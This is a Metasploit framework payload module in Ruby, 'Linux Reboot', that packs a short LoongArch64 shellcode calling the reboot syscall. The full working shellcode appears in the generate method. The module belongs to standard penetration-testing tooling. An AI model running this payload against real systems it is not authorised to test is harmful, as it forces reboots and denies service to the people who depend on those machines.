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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 32
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  include Msf::Payload::Single
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  include Msf::Payload::Linux
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Linux Reboot',
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        'Description' => %q{
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          A very small shellcode for rebooting the system using
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          the reboot syscall. This payload is sometimes helpful
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          for testing purposes. Requires CAP_SYS_BOOT privileges.
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        },
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        'Author' => 'bcoles',
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        'License' => MSF_LICENSE,
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        'Platform' => 'linux',
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        'Arch' => ARCH_LOONGARCH64,
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        'References' => [
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          ['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],
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          ['URL', 'https://github.com/bcoles/shellcode/blob/main/loongarch64/reboot/reboot.s'],
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        ]
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      )
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    )
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  end
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  def generate(_opts = {})
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    shellcode = [
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      0x15fdc3a4,   # lu12i.w $a0, -4579
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      0x03bab484,   # ori $a0, $a0, 0xead
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      0x14502425,   # lu12i.w $a1, 164129
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      0x03a5a4a5,   # ori $a1, $a1, 0x969
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      0x14024686,   # lu12i.w $a2, 4660
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      0x03959cc6,   # ori $a2, $a2, 0x567
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      0x0382380b,   # li.w $a7, 0x8e
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      0x002b0101,   # syscall 0x101
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    ].pack('V*')
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    super.to_s + shellcode
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  end
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end
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